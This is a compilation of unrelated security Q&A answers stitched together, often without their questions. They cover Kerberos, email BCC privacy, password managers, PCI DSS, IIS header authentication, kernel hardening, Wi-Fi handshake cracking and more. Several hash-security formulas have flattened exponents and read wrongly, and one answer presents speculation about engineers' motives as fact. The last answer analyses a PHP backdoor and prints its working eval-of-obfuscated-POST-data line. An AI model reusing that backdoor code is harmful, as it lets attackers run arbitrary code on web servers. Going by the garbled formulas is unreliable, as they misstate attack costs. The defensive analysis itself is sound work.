One of the advantages of Kerberos is the ability to seamlessly leverage an initial authentication into multiple application accesses.  On the public Internet, the multiple applications rarely have anything to do with each other - my bank, my mail, and my /. account have no call to trust each other or the same set of people.  (This falls into the area of Federated Identity, and there is work in this area, but it doesn't need the same mix of things Kerberos brings to the table).

In short, Kerberos is a heavyweight solution, and public Internet application access control is a lightweight problem.

To answer your actual question directly, no, I don't believe concerns about brute-force attacks or vulnerability of the KDC keeps Kerberos off the Internet.  The protocol has been reasonably well vetted, attacked, fixed, and updated over 20+ years.  The client (machine) authentication piece alone provides tremendous protection against a number of attacks that are expected on a large open network like the Internet.


Is it possible to track the email sent via BCC List using firewall or network security software?

This is a very broad question, depending on your setup.

If you use SSL from your PC to your mailserver (wich is not administrated by the same guys) and your connection is secure, they can't see anything about your mail, except for the size.

If you use unencrypted communication with your mailserver or the mailserver is administrated by the same guys it looks worse. They could intercept the traffic from your pc to the server and simply read the whole  request from your mailclient to the server.
In this request there are many mail-headers including the BCC-line of the mail, so they could view each recipient's address in plain text. On wikipedia there is a really good example of how such a request looks, sadly without BCC. But you can imagine the BCC line exactly like the CC line, there is no difference (except the leading 'B' of course).

Even using mail encryption (S\MIME, PGP) won't help because only the content of the mail gets encrypted, not the headers.

Conclusion:

The only way to send a mail without the IT-Stuff knowing the recipient is to use a third-party mailserver (like gmail, yahoo etc.) with active SSL/TLS. But even here you have to be careful: On a company-pc you might have a SSL certificate from the company installed wich allows th IT stuff to perform a man-in-the-middle attack on your communication without a security warning.


It could be a rogue device but not necessarily.

Or the PC is seeing a device and it’s associated service incorrectly.

You could start by checking your routers DHCP to see what devices it has issued IPs to.

If you still can’t see it then download a network scanner app. I use ‘fing’ onthe IPhone. But there are others for iOS and other OS. Make sure your phone is on the same network as your PC and then scan. These apps will attempt to find all devices and services (attempt to).


Not commenting on the security, this is what I got from a once over:

It is considered better form to have a single comma-separated var statement
You could do var startDate = new Date('2014/1/1'); and then you dont need your comment
You can write

if (codeToCheck == todaysCode) return true;
return false;

as

return codeToCheck == todaysCode;

Other than that I like the naming of variables, the flow of the code and general readability


Store passwords in a text file… is it really much worse than a password manager?

The problem is simple: It's insecure.

You claimed that you did not have any technical expertise and did not want to be bothered with answers you would not understand, so I will not bother you with cryptography.

Simply put, you have no disadvantage of using a password manager, and you only put yourself at risk if you do not follow this advice.

If you are interested in the technical aspects as well, I will explain them as simple as I can.

When you store your password in a password manager, the passwords are not stored in plain text. They are encrypted with a strong key (called "Data Encryption Key", or "DEK" for short), which again is protected by your password that you remember (the "Key Encryption Key", or "KEK").

If an attacker steals the data of your password manager, that data alone is useless. It is indistinguishable from a random sequence of zeroes and ones.

In order to make use of the data, an attacker would need to do one of two things:

Guess the Data Encryption Key.
This is generally believed to be impossible within the lifespan of your universe. An attacker could buy all the computers there are in the world and start guessing keys, they would never find it.
Guess the Key Encryption Key.
The Key Encryption Key is the password you use to "unlock" your Password Manager. What it actually does is decrypt your Data Encryption Key, and this is done with a very, VERY slow function. The reason it is very slow is because it is designed to be slow, which means that an attacker could not make it go faster if he wanted to.

As a result, someone stealing your Password Manager database would still result in your passwords being safe, as long as you used a strong passphrase when setting it up.


Security of asymmetrical decrypting proxy

Quoting the Karate Kid, "Remember, the best block is not be there".  (Thanks to Bill Cheswick for this quote.)  In other words, the safest way to store a credit card securely is... (wait for it...) don't store it at all.  Use a third-party credit card processor which stores the credit card numbers for you, so you don't have to.  They may give you a handle you can use instead.

Alternatively, you can build your own service.  Build a simple proxy that stores the credit card number securely, in its own database, encrypted, using an encryption key that is not known to the rest of your code.  The proxy can provide an API.  When a user registers their account, you send their credit card number to the proxy for storage.  When a user makes a payment, you send a message to the proxy: 'charge $27 to user xyz's credit card', and the proxy is responsible for retrieving the credit card number and initiating the transaction with your credit card processor.  Harden the service you use to store credit card numbers, and consider initiating some rate-limiting or auditing procedures.  This way, if the rest of your code is compromised, at least the attackers cannot steal all of your users' credit card numbers.

See also
How can I create a service that automatically logs onto a third-party service without storing credentials in plain text? [which asks about storing a password securely, but you can apply the same techniques to storing a credit card number],
Storing Credit Card Numbers, and
Storing credit cards for automatic payments?.


Configuration for Windows account mapped to IIS certificate authorization

You're right to be concerned with creating a new user account just for this task. A much easier approach is to use an application key inserted into the request header. Since you're using self-signed certificates, this leads me to believe that this is a one-off solution and won't be scaled to hundreds of clients. Here are the steps to make this happen.

UPDATE: this alternative solution will have no impact on the IIS hosted application since URL Rewrite will process the request before the application. To immediately drop failed attempts, update the action section of the URL Rewrite rule to the following. Note that this will cause failed requests to not appear in IIS logs.

<action type="AbortRequest" />

Install URL Rewrite on IIS

This is a Microsoft module that isn't installed by default and provides functionality similar to mod_rewrite.

https://www.iis.net/downloads/microsoft/url-rewrite#additionalDownloads

Create URL Rewrite Rule

Add the following rule to the web.config for your application. It will look for a request header of AppAuthKey (which you can change/personalize) and a value of joshua (not case sensitive and should be something more complex). If either is not present, the 401.4 will be returned.

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <system.webServer>
        <rewrite>
            <rules>
                <rule name="Application-Request-Header-Filter" patternSyntax="Wildcard" stopProcessing="true">
                    <match url="*" />
                    <conditions>
                        <add input="{HTTP_AppAuthKey}" pattern="joshua" negate="true" />
                    </conditions>
                    <action type="CustomResponse" statusCode="401" subStatusCode="4" statusReason="Access denied." statusDescription="Authorization failed by filter." />
                </rule>
            </rules>
        </rewrite>
    </system.webServer>
</configuration>

Edit curl command

Update your curl command to include the request header as follows:

curl -H "AppAuthKey: joshua"

No Need for a Client Certificate

Using this method doesn't require a client certificate. Normal SSL (should be TLS1.2) will suffice as long are you're using strong ciphers. More information about this can be found at the following OWASP page:

https://www.owasp.org/index.php/Hardening_IIS#Ensure_TLS_cipher_suites_are_correctly_ordered

UPDATE #2

@AlphaD brings up good points regarding various policy settings one can use to further limit accounts. I would recommend against this since it goes against configuration management. Taking that approach introduces configuration requirements for the system hosting the web application that may or may not impact other services. The preferred method is to architect the web app for portability so little of the hosting system is required. Suppose it makes sense to highlight some key points as to why it’s preferred to use an application key in this instance rather than a local or domain user account on IIS.

Local User

If the user is local to just the web server hosting IIS, then that account will be able to authenticate to any other website and/or service hosted by that server. Make sure permissions on all other resources are reviewed because by default the account will be a member of the local "Users" group which has a surprisingly wide breadth. Additionally this account has Read access on the file system (NTFS). If another website is misconfigured, this user could be used to authenticate and read its contents. Authentication via this account will most likely use Basic Authentication which means the credentials are Base64 encoded (not encrypted) and placed into every request header. (Just like my recommendation of adding a custom request header for authentication.) Lastly, using local user accounts makes system management difficult. When migrating the website to a new server, a new account must be created with permissions updated and properly scoped. That logon information then needs to be updated in the consuming curl script(s). It doesn’t make your application portable.

Domain User

Same as local user, now the scope of where this user can authenticate has expanded to the entire domain. This includes Read access to much of active directory and other services advertised in the environment. Authenticating with this user will be a bit more secure since NTLM or Kerberos can be used as long as AD is accessible and your Linux host is configured for AD auth. Otherwise Basic Auth will probably be used. Account management becomes a bit easier since it will fall into the realm of domain account management instead of system account management and often (not always) there are well established procedures for domain account management.

Application Key

Preferred method since no user account is required and limits the scope to just this application. Making the weak point the communication channel (secured via TLS and strong ciphers) and the content directory which should have limited access anyway.


Renting a bedroom in a house with shared wifi, how to secure myself?

Your best bet for security would be a secure tunnel between the gateway router you will insert into the network and a 'safe' outside point. This could be a server you've rented, or you could use one of many VPN providers who exist.

Of course the 'safety' of said server/VPN provider is variable, but it means any traffic you send via that gateway router will be encrypted until it reaches the end point and anyone viewing it won't be able to see the cleartext.

You could also try routing over something like Tor via your gateway however I have no personal experience with this and can't advise on how useful/suitable it'd be.

Finally you could use a 'secure' proxy service too however most of these of are questionable realiablity (when using 'free' services - I've not used paid services in this regard.).


Can we trust the information displayed by the linux utility commands for a vulnerable machine?

As the system is compromised, nothing is to be trusted via way of tools. Unless you have the tools validated (e.g. Tripwire FIM), your best bet is to take a similar system, copy over what is necessary, which should run if the systems are similar in architecture, etc. This is not the optimal method though. Because the machine is compromised, depending on your next steps (legal, authorities, etc), you would create a forensic image, then deal with what occurred as you have your copy. Once you have your copy, you need to determine the risk associated with putting the system back online, etc.

If you have determined how an attacker got onto the system, you would need to clean up that 'hole' (vulnerability, misconfiguration) in order to be sure they don't return. Sometimes this can be more time consuming versus installing a clean system. But let's say you need 'that' system. You could reinstall ps with something like: apt-get install --reinstall procps same applies for lsof. You would want to make sure your repos were not changed, and your DNS is not pointing to a non-trusted repo.

For the most part to answer your question: Can we trust the information displayed by the linux utility commands the answer is you absolutely should not. Little on that system should be trusted until a thorough analysis is performed.


If I touch card holder data in any way, I need PCI DSS v3.0 SAQ A-EP
  certification

No, that's not true.  If you touch card holder data, you need to SAQ B, C, or D.  The SAQ A (and A-EP) is only for merchants who "do not touch, process or store cardholder data" as per your Spreedly link.

  The popular libary card.io makes it easy for the user to put in their
  credit card numbers, but I will always "touch" the data if I use this
  library

Correct.  Use of card.io appears to make you ineligible for SAQ A or A-EP.

I say "appear" because card.io's site says "card.io does not store or transmit credit card numbers."  But that's kind of a crock - they take a picture and turn it into PAN data for your application.  Which your application must store or transmit, otherwise there was no point to scanning it in.  If you scanned a card with card.io and immediately deleted the data from memory without reading it, you'd probably still run afoul of 'processing' PAN data and be subject to the DSS.

So it's a little misleading to say they "do not store or transmit credit card numbers" without saying "but if you use us, you will be doing so, period."

  Now, my understanding is that because of this, every application that
  uses card.io has to be certified PCI DSS 3 SAQ A-EP from 1st January,
  2015

No, every merchant that uses card.io will need to be certified SAQ C or D, just as it would have had to in the past under DSS 2.0.

The only possible exception would be if you wrote and distributed a payment application that used card.io and submitted the PAN data directly to your processor over an approved A-EP hosted iFrame.  Great! You can do the SAQ A-EP!  But you'd probably have to get PA-DSS certification for  your application to make that work.  I don't think that's a good trade.

  so does this mean that many applications out there may not be certified any more if they haven't upgraded to ...-EP?

Applications don't certify under the SAQs, merchants do. Any merchant that was using card.io in the past would not have qualified for SAQ A in the past, and they won't qualify for A or A-EP now.

The real shift that A-EP represents is for merchants who, under DSS 2.0, qualified for SAQ A with non-iFrame solutions (Javascript or transparent-redirect).  SAQ A-EP draws an arbitrary and illogical line and says iFrame is more secure than those two. Merchants using Javascript or transparent-redirect will end up in a larger SAQ A-EP (139 questions) while those using iFrame can remain in SAQ A (14 questions).  That said, the line that has been drawn is so illogical that I expect to see continued redefinition moving forward.


Stack Exchange has actually written a program called "BlackBox" that they use for git and mercurial repos. The idea is, there are scripts to edit files, that automatically decrypts and starts an editor so you can make changes, then encrypts it after you've saved the file. BlackBox uses PGP encryption, and will track everyone's public keys. You could easily write a program like this for one person, but Blackbox tracks everyone on a project. Give it a look, it may suit your needs. And if it doesn't, they list good alternatives in their readme.

https://github.com/StackExchange/blackbox


How to identify call stats about 2/3/4G users in a room?

Unless you shield your building completely, there is no way to determine if the signal is coming from in the room or from outside without triangulating the signal and there isn't a guaranteed way to force the phones to connect to your device instead of the actual cell tower.

Depending on jurisdiction, this may or may not even be legal since it could cause interference with people passing by who just happen to get caught in your net.  I don't think you would be able to tell the cellphone numbers since that is established by the carrier, but you would be able to tell the cellular radio's identifying numbers.  You wouldn't be able to tell who they are calling without breaking through the encryption (which would almost certainly be illegal.)

So in short 1)Not without triangulating the signal and even then unlikely to be reliable. 2) Unlikely, though you could identify the physical phone being used.  3) You could identify that a particular phone (but not phone number) is making a call. 4) You could tell how much time the connection stays alive.  These all depend on them remaining connected to your repeater however which again, is not guaranteed unless you can block out the real tower.


Cracking WI-FI password offline at distance, is that possible?

You can be anywhere you like.
Once you have the handshake you can crack the password anywhere you like.
The handshake is as if you have a "hashed" password and you want to crack it.

One method of doing this is using aircrack-ng which tries to crack the handshake using a dictionary attack (This is a passive attack on your captured packets). You can view the full tutorial here.


How to ensure Nuget Packages are safe for confidential information?

anybody can contribute to Nuget and could possibly introduce malicious code.

Anybody can contribute new packages. Only the owners of an existing package can modify it.

  Is there an trusted and well known institution/source that verifies Nuget Packages as safe

Not as far as I am aware

  is there a vetting process that companies can go through to ensure the safety of these packages without looking through the entire source code??

First of all vet the package maintainer - in the same way you would your requested "institution/source that verifies Nuget Packages as safe". If you trust the body behind the package then you can extend that to something under their control. Make sure to apply the same process to any dependencies!

If you cannot trust the package author then you have to audit the code.


How can I add bits of security? (e.g. RSA + ECC)

Your question is:

RSA has n bits of security,
ECC has m bits of security,
We are doing RSA(ECC(...)), how many bits of security does it have.

The answer to this really depends on taking a close look at what RSA(ECC(...)) means and thinking about what an attacker would need to do to break it.

Side note here: elliptic curves don't do encryption -- they do signatures and key exchange, so I'm not totally sure what RSA(ECC(...)) means -- so this is the first "it depends" that we'll run into.

If it means that first you encrypt with ECC, then you encrypt with RSA, then what would an attacker need to do to break it? Well, they start with the RSA ciphertext. If they cracked that (by doing 2n work), then they would have revealed the ECC ciphertext. If they cracked that (by doing 2m work), then they would reveal the plain text. They have done 2n + 2m total work.

If we're talking about key exchanges, then how does the combiner function work? Do they have to break only one of them at min(2n, 2m) work? Does the attacker have enough information to crack each independently at 2n + 2m work? Or are they combined in such a way that you really need to attack them both together, in which case it would be 2n * 2m = 2n+m work?

If we're talking about signatures, then RSA(ECC(...)) doesn't make sense, and instead you have something more like RSA(...), ECC(...). Does the security of the protocol require them to break only one of them at min(2n, 2m) work? Or both of them independently at 2n + 2m work?

TL;DR: The answer, unfortunately, is a big fat "it depends" based on the details of how RSA(ECC(...)) works.


Unplug your router from the internet, power down your normal machine and then connect another fully patched machine to your router.

Log into the admin panel, change the administrator password to a new, strong password and delete any other users from the router. Make a note of any internet connection settings. It might be worth doing a factory reset to make sure that there are no port forwarding rules or anything else setup. If you do this, check that the password is still your new one afterwards. Check that all the remote access settings are turned off (web, telnet, etc) and export the configuration to your clean machine if your router supports this.

Connect the router to the internet and then run Shields Up to verify that all service ports are Closed or Stealth. If any come up as Open, go into your router config and close them. Once Shields Up has given you the thumbs up, disconnect your router again from the internet and reformat your attacked machine. Use the clean machine to manually download updates which can be installed to the original machine (OS as well as AV). Don't connect your original machine to the router or to the internet until it is fully up to date (you'll of course have to check which updates you need manually).

Yes this approach requires a separate machine, but you have no choice unless you can get your original machine patched and up to date without connecting through your targeted router.


Security essentials for a embedded Linux device

Your considerations
Using dm-verity is a very good idea, especially if you are able to fuse a key in hardware to reduce the TCB further. This can greatly help prevent a system from being persistently compromised, as well as ensure integrity, making tampering highly evident. A quick web search shows several TPM implementations for Raspberry Pi, which will allow you to implement SRTM (Static Root-of-Trust for Measurement) on the device, giving you the ability to perform measured boot and remote attestation, augmenting dm-verity to increase the integrity of the device.
Filesystem-level encryption can be useful, but if you are uploading data to the cloud, you must be aware of risks incurred from that behavior as well. Filesystem-level encryption will not protect data which has been uploaded to an insecure "cloud" host. Ideally, you would use client-side encryption instead. If you are only uploading things such as video files, you could encrypt them with an easy to use and popular library like NaCl/libsodium before uploading them, encrypted, to a remote server. Remember also that the password has to come from somewhere. Unless your user is selecting the password themselves, then you will not be providing any confidentiality (for the data on the device). Storing the password on the device would be a bad idea.
Even more important than this and everything that is about to follow is the development of a formal threat model. You need to know who your adversaries are, what your users' assets are and their value, and put it all in context. Write up an attack tree, and use it. Risk assessment and threat modeling are in general extremely important for the security of your product.
Kernel hardening
This refers to any action to increase the security of the kernel to reduce the risk of exploitation. This is a broad class of techniques that range from patching the kernel with security-oriented patches to simply adjusting sysctls to reduce attack surface.

Kernel patches such as grsecurity greatly increase the difficulty in exploiting the kernel. Currently, grsecurity has closed itself except to paying customers, so it may be out of your budget range. If you are able to use it, or a forward port of it, you will get a large number of kernel hardening features, quite a bit more than would be possible through configuration alone.
Custom kernel configurations allow you to remove unnecessary code and features from the kernel, as well as breaking stock exploits. For example, many kernel exploits require the use of obscure or complex drivers. Since you are developing for an embedded system, chances are you will already be using a custom kernel config. You should strip it down to only the drivers you need, and disable some particularly problematic features such as user namespaces, vsyscalls, and unprivileged eBPF. This is one of the most important ways to harden a kernel.
If you go through the whole sysctl list, you will see many which are security related but have default values that are not ideal. By tweaking sysctls, you can disable unprivileged user namespaces, eBPF, JIT, etc. You can also do things such as increase the randomness provided by ASLR, by increasing the vm.mmap_rnd_bits sysctls. Additionally, enabling sysctls to panic the kernel on various events such as oopses can also greatly improve security, as many kernel vulnerabilities trigger an oops or a kernel warning, but by default the kernel will continue as if nothing happened, potentially allowing the exploit to succeed. As this is an embedded device, panicking and rebooting immediately would be ideal.
Kernel module signing is used to prevent an unsigned module from being loaded (though ideally you would build a non-modular kernel with only drivers you need, as you control the hardware). The signing key can be created offline while compiling the kernel. This can be used, along with other security features such as those provided by grsecurity, to prevent even the root user from compromising the system. Protecting the kernel from root is hard, but not at all impossible.

Using grsecurity is by far the most effective form of kernel hardening, but depending on the budget for your product line, it may or may not be cost effective. A custom kernel config is the second most effective, but requires a decent understanding of kernel configuration. I would strongly recommend hiring a security expert to do all this, otherwise you may inadvertently disable important security features or enable unsafe options. The Kconfig help section is not always sufficient to understand the security implications of a given option. For example, many of the "debugging" features are actually extremely useful for security, such as the various sanity checks. Familiarize yourself with the Linux kernel and its various subsystems. This will allow you to greatly improve the security of your device.
Network hardening
Network hardening refers to increasing the difficulty of network exploitation vectors and lateral movement. Exactly what constitutes appropriate network hardening depends heavily on the specific setup and network topology. At its simplest, it involves basic firewall rules, but can be more extensive.

Whitelisting incoming connections is important to protect potentially insecure services. Whitelisting outgoing connections can also be useful for hampering malicious software or otherwise misbehaving software, making it harder to control a device over a C2.
Like with kernel hardening, you can tweak various sysctls to improve networking security. The exact tweaks depend very heavily on your use case. For example, disabling IPv6 can reduce attack surface area when it is not necessary. Disabling features only useful for routing can reduce the chance that your device is abused to redirect packets. Other tweaks can improve performance and increase resistance to DoS attacks.
Unnecessary protocols should be disabled. This is especially important for kernel hardening against remote attackers, as many protocols such as DCCP have a history of vulnerabilities, and yet are enabled by default. Ideally, your kernel should only support TCP, UDP, and ICMP, unless other protocols are absolutely necessary for correct operation of your devices.

Network hardening is usually more relevant for an entire infrastructure with multiple interconnected components. For a single device making only a connection to a server to remotely upload files, network hardening is much closer to kernel hardening, i.e. eliminate unnecessary attack surface area.


Why is CBC-MAC insecure for variable length input?

In its plain form, CBC-MAC is vulnerable to "length extension attack", where you just add some blocks at the end.

So in order to stop people from doing that, you need to somehow mark the final block as indeed the final block. And not treat it like any other block.

Wikipedia lists two ways: either prefix with block count, or encrypt final block with independent key (This is then known as "Encrypted CBC-MAC" or ECBC-MAC).


Has anyone else seen commands embedded in an ICMP echo request?

Ah, tunneling... SSH, DNS, ICMP, netcat, custom VPN... you name it. Sometimes known as "give me free wifi" and in other cases as "give me your network."

I don't know that specific payload (as a compromise), but I do know you can put things over ICMP. Take a look at the surrounding packets. This kind of reminds me of the old "ATH+++" gag. It may be a similar exploit for something that's being tossed around at random. I'd like to give more for an answer, but I think I'd need more to go on.


How many hashes do I need to compute to get x collisions?

As an approximation, your estimate is close: if X is the number of collisions, you need to hash SQRT(X*2N+1) values.

For a mathematical explanation you can look up this answer on Mathematics; and specifically, ShreevatsaR's approximation (his N is your 2N, with N   your number of bits).

(sorry - I had misunderstood your request in a previous version of this answer. My bad)


I would suggest a much more robust NMAP scan, look at the other ports as well, and try fingerprinting the services as well as the OS.

I'm guessing you did something like nmap -p 4111 IPaddress

First try adding the -sV flag

nmap -sV -p 4111 IPaddress

This will give you the version of the software running on that port using fingerprinting.


Does having multiple 'memorable info' answers reduce security?

I agree, that seems dumb.

The general consensus is that there are three types of authentication mechanisms:

Something you know (ie password).
Something you have (ie code generating app, access to an email account, ability to receive SMSs, etc).
Something you are (ie fingerprint or iris scan).

There's really no reason to ask for more than one thing from each category. Proper 2-Factor Authentication ("2FA") systems will always ask for two things from different categories. What you've described (and in fact all "memorable info" systems) are really just two passwords... I agree that this seems kinda useless.


Is including a secret GUID in an URL Security Through Obscurity?

I'll try to answer the question itself without lecturing you on what to use and what not to use.

Taking your assumptions into account (which are quite daring assumptions, IMO)

SSL is used.
No logging anywhere.
The GUIDs aren't easily predictable.
The password is strong.

Then no, this is not security by obscurity. This is security by, well.., security. Your security depends on the attacker's inability to guess/know the password, and not on the the attacker's inability to guess/know how your system works. Your password is, in some way, your key. As long as your security depends on your key, you're alright.

Now, I'm afraid you're attempting something like storing directories on your server with those GUIDs and passwords and then link to the resources inside those directories. In that case, absolutely not! Don't do it! Passwords aren't supposed to be treated that way.


Without SSL, all that is sent over the wires can potentially be spied upon or altered by indelicate routers. "Altered" includes hostile hijacking of connections and Man-in-the-Middle attacks. These are relatively easy to setup by attackers in the context of WiFi hotspots -- which means that if a user is accessing your Web site from a restaurant or a public park (using his laptop or tablet) then his data (in particular passwords and cookies) can be silently eavesdropped by ill-intentioned people equipped with a readily available 100$ gadget.

Moreover, not only are non-SSL connections easily commandeered by hostile outsiders, but people begin to know it. When your users see that you use passwords without SSL, some of them will think that "you do not care about their security". That alone is not a good thing. You want your users to feel safe, otherwise they'll be tempted not to be your users anymore.

SSL costs are routinely exaggerated, for reasons which are not completely clear (there is some theory on the subject):

On the server: the extra CPU and network overhead implied by SSL is in the 2% range, i.e. not a lot. Biggest indirect cost is that SSL prevents some transparent proxies (run by some ISP) from doing their optimization; it might have some impact if your server hosts big static files. The cost of the certificate can be zero -- or, more accurately, no buying fee, and some administrative task once a year. Even in commercial contexts, the cost of the certificate is negligible with regards to the hosting costs and sysadmin time.
On the client: the main effect is increased latency for the very first connection. When opening the first connection, client and server run the full TLS handshake. But the connection will be kept open for subsequent HTTP requests (the normal "keep alive" mechanism), and if the connection is closed due to prolonged inactivity, new connections will use the abbreviated handshake which reuses the cryptographic elements from the previous connection. the abbreviated handshake is much faster, especially since it implies one less network round-trip.

Nothing beats actual measure, so you are encouraged to experiment, if only with a homemade certificate (aka "self-signed"); but, on the whole, SSL cannot be considered as really expensive (it used to be expensive, 15 years ago, but computers have grown a bit in computational power since these times).


Are CryptoKey Objects stored in IndexedDB stored in Plain Text on the users machine?

"I need to access the key from the js environment without the user entering an encryption password"
As @mti2935 points out, it is unencrypted in major browsers, and basically impossible at this point in time to achieve this goal without storing the key-encryption-key 'somewhere else'. I second that observation (for Firefox up to about 2019 at least, last time I looked at indexed-db).
Here is a possibility that wouldn't require you to store your long-term key un-encrypted: it won't allow your user to get away with 'doing nothing' if they want something more closely resembling security...

an input type=password field, which possibly the user might choose to 'remember' in their password manager^ - this becomes the long-term key input
this long-term key is then derived using a built-in WebCrypto PBKDF2, and used to decrypt the application symmetric key stored in indexed-db - you might wish to use another pbkdf such as Libsodium's Argon2 implementation, crypto_pwhash

^ If the user chooses to store the long-term key input (as a 'saved password') in their browser, then they won't need to type this again. It will be stored encrypted, and possibly further secured if the user applies a password for the internal password database key.
One obvious downside to this is potentially the repeated use of the pbkdf, which may interfere with the user's experience, depending on how 'hard' you tune it. Another is the static nature of your long term key, and what would be required if the user wishes to update any of the inputs. Since you don't specify how you're using the symmetric key that you wan't to store, I'll assume it's to access other encrypted data stored locally. (If you edit your question to clarify, I might update this answer.)
As to how the initial long-term key input is derived, you might consider having the user provide additional material via a key-file that they hold. You would then take the secure hash of any key-file that they choose, using a local file picker and the built-in keyed hashing functions.


MitM Traffic with Burpsuite and a Mobile Device doesnt show up anything

The first issue I can observe in your ruleset is that your prerouting hook priority should be 0 or -100 as per the documentation, or at least lower than postrouting.

https://wiki.nftables.org/wiki-nftables/index.php/Performing_Network_Address_Translation_(NAT)

Are you Masquerading your traffic outbound towards the Internet? (pls refer to the link above)

EDIT (added for completeness) after the OP's own comment in response:

You also need a hook for postrouting for NATting to work.

nft add chain mitm postrouting { type nat hook postrouting priority 100 \; }


How to detect fileless kernel compromise in linux

You do have the possibility to use LKIM in order to measure dynamically the integrity of the kernel. Unlike an antivirus software that uses a database containing signatures, LKIM will check for specific patterns or behavior that could involve malicious deviations.
Note that RHEL now has its own kernel integrity sub-system using a similar kind of technology, you can check the full documentation here.


Does the secure attention key really increase security?

The system-attention-key is mostly an historical remnant from the youth days of the engineers who designed the SAK. These engineers, when they think about security, actually think about the times when they were dabbling in security, and that was when they were students. More precisely, when they were students in the 1990s. That last item is important: in the 1990s, students did not usually have networked computers, in particular laptops; more commonly, the students were sharing a dozen workstations in a dedicated room. The students, being students, engaged into the kind of things that students do, in particular setting traps and jokes on each other. "Stealing" the password of a co-student was a common game.

And game here is an important word. The point was not really to have the password to enact mischief, but to demonstrate technical skill for boasting purposes (most human activities, at least from male people, are at their core about gaining or keeping Alpha male status, even to the point of absurdity because computer rooms of the 1990s were singularly devoid of any female that could have been wooed by such a display of technical skill). Thus, the "password stealing" needed not be efficient but elegant. This included amusing systems by which a user would keep a picture of the login screen running as a basic application under his own name, mimicking the true one and grabbing the password of other people -- the elegance coming from the fact that the attacker does not even need local administrative rights ("root privileges"). You will notice that the SAK prevents exactly that attack.

Real-life attackers don't play that nicely. When they have physical access to a machine, they first get kernel-level access, possibly by physically damaging the machine (an unthinkable heresy for a computer student), and if they want to log keys they just do, regardless of the SAK. But engineers who design operating systems now still think in terms of the golden days of their early twenties; they try to thwart not the practical real-life attacks, but the elegant shenanigans from a more civilized age.

So the SAK is there, mostly to give a feeling of safety to people who envision attacks and key logging like a game they played two decades ago and still fondly remember. Like most things in computers, it is there out of a matter of Tradition.

(Note that some of these engineers did not get jobs designing operating systems, but writing specifications of "security rules" to which organizations shall conform -- for an hilariously extended effect of lingering tradition. OS designers still have to include a SAK because they need it to comply to some regulations, even if they know it does not make a lot of sense.)

Now, in practice, what good does the SAK make ? Not a lot. One can still say that the login password of a user is sensitive data -- not because it grants access to the local network (an access that the attacker already has, by virtue of hijacking a machine that runs on that network), but because users have the habit of reusing passwords, either directly or through some transparent "rule" (if user's password on server QZ982 is "PasswordQZ982", guess what will be the user's password on server YH455 ?). But the SAK is not enough to resist key logging anyway.

Security is really increased, not by SAK-like attempts, but by (as usual) educating users, in particular to the necessity of not reusing passwords.


Can I re-use another vendor's dual factor token in my own system? (Avoid physical token bloat)

You probably don't want to go about doing it that way, as that could seriously compromise the keys of these things. With the information you would then have, your user's bank account is now more at risk because an attacker just needs to break your system, instead of the bank or a hardened security token.

Your biggest problem is likely going to be the fact that for tokens using event-based HOTP or related protocols, you have to keep the expected values in sync across systems you don't necessarily have any control over. Otherwise you run the risk of locking the user out of their bank.

Also, normally you need more than the serial number. There are seeds or IV's that are used to initially start the sequence, and are designed to not be read from the token.


Can data be appended to messages without changing the hash?

Are you referring to a Length Extension Attack?

  In cryptography and computer security, a length extension attack is a type of attack where an attacker can use Hash(message1) and the length of message1 to calculate Hash(message1 ∥ message2) for an attacker-controlled message2. This attack can be used to sign a message when a Merkle–Damgård based hash is misused as a message authentication code, allowing for inclusion of extra information.

  This attack can be done on hashes with construction H(secret ∥ message)1 when message and the length of secret is known. Algorithms like MD5, SHA-1, and SHA-2 that are based on the Merkle–Damgård construction are susceptible to this kind of attack.1[2][3] Note that since HMAC doesn't use the construction H(key ∥ message), HMAC hashes are not prone to length extension attacks.[4] The SHA-3 algorithm is not susceptible to this attack.[5]


How the whatismyip knows real ip address?

WhatIsMyIP does not need anything javascript-related to get your IP. Almost always your proxy will set the header X-Forwarded-For on your request.  WhatIsMyIP will get your primary IP from that.

Try accessing this site and see all the headers your browser sent and the headers your proxy added. If you install Firebug on Firefox, you can compare the headers sent by the browser with the headers shown on that site.

You can turn off javascript, disable Flash, Java applets, disable tracking, and it will keep getting your IP, as it depends on your proxy, not your browser.


Learn Bash or Powershell for Security Work?

Is Bash more commonly used in security work than PowerShell?

Yes.  For example, github appears to have more Security sh/bash scripts than it has ps1 scripts:

Search Term
Hits

github security sh
14,100,000

github security bash
9,110,000

github security ps1
635,000

If so, why? (Now that Powershell can be used on Linux)

Rome wasn't built in a day.  People have been writing sh and sh-compatible scripts on Unix and Linux for 40 years.  Powershell may now be available on Linux, but it will still take quite some time for adoption to spread.


According to the standards, if you use Content-Disposition: attachment, it is expected that the browser will not display the HTML file but instead prompt the user to save it as a file.

If you just want to share HTML files without displaying them, I suppose that's fine, though the conventional thing to do would be to put them in an archive format, such as .tar.gz or .zip.


Do browsers XSS filters protect against DOM based XSS?

I do not believe there is anything in any browser exactly like what you are describing. However a Content Security Policy could accomplish what you are looking for, in a more-robust way.

For example, if your CSP prevents inline scripting you could effectively prevent any JavaScript passed to innerHTML from executing. Note that script tags are normally stripped from innerHTML, but the CSP would also prevent any inline on* attributes from executing. This does of-course mean you won't be able to use inline scripting yourself (at-least without explicitly allowing specific script content), but that's generally considered good practice anyhow.


Yubikey: How is the OpenPGP key secured by PIN and passphrase?

Given there was a bug allowing you to use the private key without the PIN (passphrase) being validated, I derive the card does not actually encrypt the private keys (like it would have been done when using "normal" keys with passphrase protection with GnuPG):

  The source code contains a logical flaw related to user PIN (aka PW1) verification that allows an attacker with local host privileges and/or physical proximity (NFC) to perform security operations without knowledge of the user’s PIN code.

I'm not aware this changed, but only the verification was fixed in current releases. With other words, the secret keys on a YubiKey are stored unencrypted, and sophisticated attackers able to read the key's storage are able to extract the unencrypted private keys.


Nasty little bit of code

It's likely a botnet setup or a backdoor for script kiddies. Would need to see what they're passing as vars and URLs to tell you what they're hitting you with, but this is a backdoor test script that tries several known exploits to pass information to your server. They're usually injected either via MySQL Injection Attack and executed on printing, or on some insecure (non-cleaned) output of client supplied variables (including Cookies).

Disables the logging with error output disabled in case ini_set and error_reporting changes aren't allowed:

@error_reporting(0); @ini_set("display_errors",0); @ini_set("log_errors",0); @ini_set("error_log",0);

Checks for the 'r' $_GET variable passed across the address bar (likely checking for .htaccess redirection).

if (isset($_GET['r'])) { print $_GET['r']; }

Checks if their own post variable is passed and likely executes any payload they've prepped.

elseif (isset($_POST['e'])) { eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST['e'])))))); }

Checks to see if you allow remote opening of URLs if the first method fails

